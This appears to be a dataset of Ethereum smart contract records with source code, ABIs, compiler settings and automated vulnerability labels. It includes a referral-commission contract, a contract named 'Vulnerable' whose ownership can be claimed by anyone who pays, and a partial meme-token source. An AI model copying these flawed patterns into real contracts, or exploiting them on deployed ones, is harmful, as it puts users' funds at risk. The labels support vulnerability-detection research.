tability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"owner_setOwnerApprovedAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"provideLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"etherAmount","type":"uint256"}],"name":"provideRandomnessProviderFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"randomnessProvider","outputs":[{"internalType":"contract UniLotteryRandomnessProvider","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"ulptAmount","type":"uint256"}],"name":"removeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"etherAmount","type":"uint256"}],"name":"retrieveRandomnessProviderFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"lottery","type":"address"}],"name":"retrieveUnclaimedLotteryPrizes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"scheduledCallback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"nextLotteryDelay","type":"uint32"},{"internalType":"uint16","name":"maxNumberOfRuns","type":"uint16"}],"name":"setAutoModeParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setGasOracleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"gasPrice","type":"uint256"}],"name":"setGasPriceOfRandomnessProvider","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"uint256","name":"initialFunds","type":"uint256"},{"internalType":"uint128","name":"fundRequirement_denySells","type":"uint128"},{"internalType":"uint128","name":"finishCriteria_minFunds","type":"uint128"},{"internalType":"uint32","name":"maxLifetime","type":"uint32"},{"internalType":"uint32","name":"prizeClaimTime","type":"uint32"},{"internalType":"uint32","name":"burn_buyerRate","type":"uint32"},{"internalType":"uint32","name":"burn_defaultRate","type":"uint32"},{"internalType":"uint32","name":"maxAmountForWallet_percentageOfSupply","type":"uint32"},{"internalType":"uint32","name":"REQUIRED_TIME_WAITING_FOR_RANDOM_SEED","type":"uint32"},{"internalType":"uint32","name":"poolProfitShare","type":"uint32"},{"internalType":"uint32","name":"ownerProfitShare","type":"uint32"},{"internalType":"uint32","name":"minerProfitShare","type":"uint32"},{"internalType":"uint32","name":"finishCriteria_minNumberOfHolders","type":"uint32"},{"internalType":"uint32","name":"finishCriteria_minTimeActive","type":"uint32"},{"internalType":"uint32","name":"finish_initialProbability","type":"uint32"},{"internalType":"uint32","name":"finish_probabilityIncreaseStep_transaction","type":"uint32"},{"internalType":"uint32","name":"finish_probabilityIncreaseStep_holder","type":"uint32"},{"internalType":"int16","name":"maxPlayerScore_etherContributed","type":"int16"},{"internalType":"int16","name":"maxPlayerScore_tokenHoldingAmount","type":"int16"},{"internalType":"int16","name":"maxPlayerScore_timeFactor","type":"int16"},{"internalType":"int16","name":"maxPlayerScore_refferalBonus","type":"int16"},{"internalType":"uint16","name":"randRatio_scorePart","type":"uint16"},{"internalType":"uint16","name":"randRatio_randPart","type":"uint16"},{"internalType":"uint16","name":"timeFactorDivisor","type":"uint16"},{"internalType":"int16","name":"playerScore_referralRegisteringBonus","type":"int16"},{"internalType":"bool","name":"finish_resetProbabilityOnStop","type":"bool"},{"internalType":"uint32","name":"prizeSequenceFactor","type":"uint32"},{"internalType":"uint16","name":"prizeSequence_winnerCount","type":"uint16"},{"internalType":"uint16","name":"prizeSequence_sequencedWinnerCount","type":"uint16"},{"internalType":"uint48","name":"initialTokenSupply","type":"uint48"},{"internalType":"uint8","name":"endingAlgoType","type":"uint8"},{"internalType":"uint32[]","name":"winnerProfitShares","type":"uint32[]"}],"internalType":"struct Lottery.LotteryConfig","name":"cfg","type":"tuple"}],"name":"setNextLotteryConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"enum UniLotteryPool.LotteryRunMode","name":"runMode","type":"uint8"}],"name":"setRunMode","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startAutoModeCycle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startManualModeLottery","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storageFactory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalPoolFunds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.7.1+commit.f4a555be | true | 9,000 | 000000000000000000000000e18d9062e61e2dcb45960115518f1b09ee4d5ccb000000000000000000000000ce6cd236dd298779df8f8f683be9674a115f450f00000000000000000000000087cbf8b62e4d268a103ce1f7b3a49694ca18375d | Default | false | ||||
Besunray | 0x82692bb1e81f8a005a2218a12c9df383cd467c58 | Solidity | pragma solidity >=0.4.21 <0.7.0;
contract Besunray {
address payable public owner;
struct User { //Used to store user details
uint uid;
address payable wallet;
uint package;
uint256 etherValue;
address payable refferer;
uint level;
bool status;
uint commissions;
}
struct Plan { //Used to store commission configuration
uint level;
uint package;
uint percentage;
}
struct Qualification{
uint status;
uint level_1;
uint level_2;
uint level_3;
uint level_4;
uint level_5;
uint level_6;
uint level_7;
uint level_8;
uint level_9;
uint level_10;
}
mapping(address => User) public users;
mapping(address => Qualification) public qualifications;
mapping(uint => Plan) public plans;
event DistributeCommission(
address to,
address from,
uint amount
);
event UserRegistration(
uint uid,
address wallet,
address refferer,
uint package,
uint256 etherValue,
uint256 commissions
);
event EmQualification(
address wallet,
uint level
);
/**
* @dev Constructor sets admin.
*
* This is public constructor.
*
*
* Requirements:
*
* -
*/
constructor() public {
owner = msg.sender;
plans[1] = Plan(1, 200, 10);
plans[2] = Plan(2, 200, 6);
plans[3] = Plan(3, 200, 4);
plans[4] = Plan(4, 200, 2);
plans[5] = Plan(5, 500, 2);
plans[6] = Plan(6, 500, 2);
plans[7] = Plan(7, 500, 1);
plans[8] = Plan(8, 500, 1);
plans[9] = Plan(9, 1000, 1);
plans[10] = Plan(10, 1000, 1);
}
/**
* @dev fallback for .
*
* This is public fallback.
*
*
* Requirements:
*
* -
*/
function() external payable {}
/**
* @dev access modifier.
*
* restrict access this enables sensitive information available only for admin.
*
*
* Requirements:
*
* - `msg.sender` must be an admin.
*/
modifier onlyAdmin() { //Admin modifier
require(
msg.sender == owner,
"This function can only invoked by admin"
);
_;
}
/**
* @dev register users in to blockchain.
*
* This is public function.
*
*
* Requirements:
*
* - `msg.sender` must be admin.
* - `_wallet` must be a valid address.
* - `_package` must be a valid address.
* - `_etherValue` must be a valid address.
* - `_status` must be a valid address.
*/
function registerUser(
uint _uid,
address payable _wallet,
uint _package,
uint256 _etherValue,
address payable _refferer,
bool _status
) public onlyAdmin {
require(users[_wallet].wallet != _wallet,"User is already registered");
uint level = users[_refferer].level + 1;
users[_wallet] = User(_uid, _wallet, _package,_etherValue, _refferer, level, _status, 0);
emit UserRegistration(_uid, _wallet, _refferer, _package, _etherValue, 0);
}
/**
* @dev Deactivate user
*
* This is public function onlyAdmin.
*
*
* Requirements:
*
* - `_wallet` should be a registered user.
*/
function deactivateUser(address _wallet) public onlyAdmin {
require(users[_wallet].wallet == _wallet,"User is not registered in blockchain");
users[_wallet].status = false;
}
/**
* @dev Activate user
*
* This is public function onlyAdmin.
*
*
* Requirements:
*
* - `_wallet` should be a registered user.
*/
function activateUser(address _wallet) public onlyAdmin {
require(users[_wallet].wallet == _wallet,"User is not registered in blockchain");
users[_wallet].status = true;
}
/**
* @dev Upgrade user package
* Access modified with OnlyAdmin
*
*
* Requirements:
*
* - `_wallet` should be a registered user.
* - `_package` should be a registered user.
*/
function upgradePackage(address _wallet, uint _package) public onlyAdmin {
require(users[_wallet].wallet == _wallet,"User is not registered in blockchain");
require(users[_wallet].package < _package, 'perform upgarde only');
users[_wallet].package = _package;
}
/**
* @dev Enables admin to set compensation plan.
*
* This is public function.
** Access modified with OnlyAdmin
*
* Requirements:
*
* - `_level` cannot be the zero.
* - `_package` cannot be the zero.
* - `_percentage` cannot be the zero.
*/
function setPlan(uint _level, uint _package, uint _percentage) public onlyAdmin {
plans[_level] = Plan(_level, _package, _percentage);
}
/**
* @dev Withdraws contract balance to owner waller
*
** Access modified with OnlyAdmin
*
* Requirements:
*
*/
function withdraw() public onlyAdmin {
owner.transfer(address(this).balance);
}
/**
* @dev Sets user qualification.
*
* Access modified with OnlyAdmin
* This is public function.
*
*
* Requirements:
*
* - `_level` cannot be the zero.
* - `_wallet` cannot be the zero.
*/
function setQualification(address _wallet,uint _level) public onlyAdmin{
require(users[_wallet].status == true, 'User is not active or not registered');
if(qualifications[_wallet].status <= 0 && _level == 1){
qualifications[_wallet] = Qualification(1,1,0,0,0,0,0,0,0,0,0);
}else{
if(_level == 1){
qualifications[_wallet].level_1 = 1;
}
if(_level == 2){
qualifications[_wallet].level_2 = 1;
}
if(_level == 3){
qualifications[_wallet].level_3 = 1;
}
if(_level == 4){
qualifications[_wallet].level_4 = 1;
}
if(_level == 5){
qualifications[_wallet].level_5 = 1;
}
if(_level == 6){
qualifications[_wallet].level_6 = 1;
}
if(_level == 7){
qualifications[_wallet].level_7 = 1;
}
if(_level == 8){
qualifications[_wallet].level_8 = 1;
}
if(_level == 9){
qualifications[_wallet].level_9 = 1;
}
if(_level == 10){
qualifications[_wallet].level_10 = 1;
}
}
emit EmQualification(_wallet, _level);
}
/**
* @dev gets user qualification.
*
* Access modified with OnlyAdmin
* This is public function.
*
*
* Requirements:
*
* - `_level` cannot be the zero.
* - `_wallet` cannot be the zero.
*/
function getQualification(address _wallet, uint _level) public view returns(uint) {
uint qualified;
if(_level == 1){
qualified = qualifications[_wallet].level_1;
}
if(_level == 2){
qualified = qualifications[_wallet].level_2;
}
if(_level == 3){
qualified = qualifications[_wallet].level_3;
}
if(_level == 4){
qualified = qualifications[_wallet].level_4;
}
if(_level == 5){
qualified = qualifications[_wallet].level_5;
}
if(_level == 6){
qualified = qualifications[_wallet].level_6;
}
if(_level == 7){
qualified = qualifications[_wallet].level_7;
}
if(_level == 8){
qualified = qualifications[_wallet].level_8;
}
if(_level == 9){
qualified = qualifications[_wallet].level_9;
}
if(_level == 10){
qualified = qualifications[_wallet].level_10;
}
return qualified;
}
/**
* @dev calculates commission for uplines.
*
* Access modified with OnlyAdmin
*
*
* Requirements:
*
* - `_wallet` cannot be the zero.
*/
function calculateLevelCommission(address payable _wallet) public onlyAdmin {
address payable parentWallet = users[_wallet].refferer;
uint256 etherValue = users[_wallet].etherValue;
uint256 expValue = (etherValue * 30)/100;
require(address(this).balance > expValue,"Unable to execute please contact admin");
uint level = 1;
while(level <= 10)
{
uint256 amount = 0;
User memory parent = users[parentWallet];
if(parentWallet == parent.refferer){
break;
}
//checks user have package
if(parent.package <= 0){
break;
}
Plan memory levelCommission = plans[level];
uint qualified = this.getQualification(parentWallet, level);
if(parent.package >= levelCommission.package && parent.status && qualified > 0){
amount = etherValue * levelCommission.percentage / 100;
uint256 maxCommission = (parent.etherValue * 2) - parent.commissions;
if(maxCommission <= amount )
{
amount = maxCommission;
}
amount = amount;
parent.wallet.transfer(amount);
users[parent.wallet].commissions += amount;
emit DistributeCommission(parent.wallet, _wallet, amount);
}
if(parent.status){
level++;
}
parentWallet = parent.refferer;
}
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["199"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["308", "312"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["310", "128"]}] | [{"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [214]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Besunray.sol": [263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Besunray.sol": [170, 171, 172, 173, 174]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Besunray.sol": [128, 129, 130, 131, 119, 120, 121, 122, 123, 124, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Besunray.sol": [187, 188, 189]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Besunray.sol": [200, 198, 199]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Besunray.sol": [213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Besunray.sol": [307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Besunray.sol": [144, 145, 142, 143]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Besunray.sol": [156, 157, 158, 159]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [1]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Besunray.sol": [334]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Besunray.sol": [325]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [121]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [142]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [120]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [123]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [156]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [187]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [187]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [170]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [213]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [122]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [124]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [307]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [187]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [213]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [263]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [125]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [170]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Besunray.sol": [263]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Besunray.sol": [336]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Besunray.sol": [264]}}] | [] | [{"rule": "SOLIDITY_LOCKED_MONEY", "line": 3, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 119, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 121, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 122, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 123, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 124, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 125, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 126, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 128, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 129, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 129, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 129, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 129, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 129, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 130, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 130, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 130, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 130, "severity": 1}] | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"DistributeCommission","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"wallet","type":"address"},{"indexed":false,"internalType":"uint256","name":"level","type":"uint256"}],"name":"EmQualification","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"uid","type":"uint256"},{"indexed":false,"internalType":"address","name":"wallet","type":"address"},{"indexed":false,"internalType":"address","name":"refferer","type":"address"},{"indexed":false,"internalType":"uint256","name":"package","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"etherValue","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"commissions","type":"uint256"}],"name":"UserRegistration","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"activateUser","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address payable","name":"_wallet","type":"address"}],"name":"calculateLevelCommission","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"deactivateUser","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_wallet","type":"address"},{"internalType":"uint256","name":"_level","type":"uint256"}],"name":"getQualification","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"plans","outputs":[{"internalType":"uint256","name":"level","type":"uint256"},{"internalType":"uint256","name":"package","type":"uint256"},{"internalType":"uint256","name":"percentage","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"qualifications","outputs":[{"internalType":"uint256","name":"status","type":"uint256"},{"internalType":"uint256","name":"level_1","type":"uint256"},{"internalType":"uint256","name":"level_2","type":"uint256"},{"internalType":"uint256","name":"level_3","type":"uint256"},{"internalType":"uint256","name":"level_4","type":"uint256"},{"internalType":"uint256","name":"level_5","type":"uint256"},{"internalType":"uint256","name":"level_6","type":"uint256"},{"internalType":"uint256","name":"level_7","type":"uint256"},{"internalType":"uint256","name":"level_8","type":"uint256"},{"internalType":"uint256","name":"level_9","type":"uint256"},{"internalType":"uint256","name":"level_10","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_uid","type":"uint256"},{"internalType":"address payable","name":"_wallet","type":"address"},{"internalType":"uint256","name":"_package","type":"uint256"},{"internalType":"uint256","name":"_etherValue","type":"uint256"},{"internalType":"address payable","name":"_refferer","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"registerUser","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_level","type":"uint256"},{"internalType":"uint256","name":"_package","type":"uint256"},{"internalType":"uint256","name":"_percentage","type":"uint256"}],"name":"setPlan","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_wallet","type":"address"},{"internalType":"uint256","name":"_level","type":"uint256"}],"name":"setQualification","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_wallet","type":"address"},{"internalType":"uint256","name":"_package","type":"uint256"}],"name":"upgradePackage","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"users","outputs":[{"internalType":"uint256","name":"uid","type":"uint256"},{"internalType":"address payable","name":"wallet","type":"address"},{"internalType":"uint256","name":"package","type":"uint256"},{"internalType":"uint256","name":"etherValue","type":"uint256"},{"internalType":"address payable","name":"refferer","type":"address"},{"internalType":"uint256","name":"level","type":"uint256"},{"internalType":"bool","name":"status","type":"bool"},{"internalType":"uint256","name":"commissions","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.16+commit.9c3226ce | false | 200 | Default | None | false | bzzr://a600c351be243681531c9439b4c8a73d80541a7196c0903e79e0f951a9d9c1d5 |
|||
Vulnerable | 0x01e15ccdbfd0937b961198e8a092fc1d88ead0ba | Solidity | // pragma solidity ^0.5.0;
contract Vulnerable {
address public owner;
bool public claimed;
constructor() public payable {
owner = msg.sender;
}
function() external payable {}
function claimOwnership() public payable {
require(msg.value >= 0.1 ether);
if (claimed == false) {
owner = msg.sender;
claimed = true;
}
}
function retrieve() public {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
} | [{"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["25"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["13"]}] | [{"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"Vulnerable.sol": [16]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vulnerable.sol": [13, 14, 15, 16, 17, 18, 19, 20]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Vulnerable.sol": [22, 23, 24, 25, 26]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}] | null | null | [{"constant":false,"inputs":[],"name":"retrieve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"claimOwnership","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"claimed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.5.1+commit.c8a2cb62 | false | 200 | Default | false | bzzr://a69767eb89906ded33e243c1098c27d66acd5d52f15c23c49e1622840474379f |
||||
shiboytoken | 0xaa19c2aef38051a8c2a6e208ac91d9f25bebb39a | Solidity | /*
░██████╗██╗░░██╗██╗██████╗░░█████╗░██╗░░░██╗
██╔════╝██║░░██║██║██╔══██╗██╔══██╗╚██╗░██╔╝
╚█████╗░███████║██║██████╦╝██║░░██║░╚████╔╝░
░╚═══██╗██╔══██║██║██╔══██╗██║░░██║░░╚██╔╝░░
██████╔╝██║░░██║██║██████╦╝╚█████╔╝░░░██║░░░
╚═════╝░╚═╝░░╚═╝╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░
Telegram: https://t.me/shibaconvoy
Twitter: https://twitter.com/shiboyofficial
100% Fair & STEALTH LAUNCH
Initial LP: 2 ETH
Initial Max Buy: 5% or 50,000,000
Total Supply : 1,000,000,000
Tax : 12%
2% Reflections
6% Buyback/ Buy Competitions
2% Liquidity
4% Promotions/Growth
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract shiboytoken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Shiba Convoy";
string private constant _symbol = "SHIBOY";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x7078Ca7a18aC89Ba0f6B9342F3E3A9885581f9c8);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
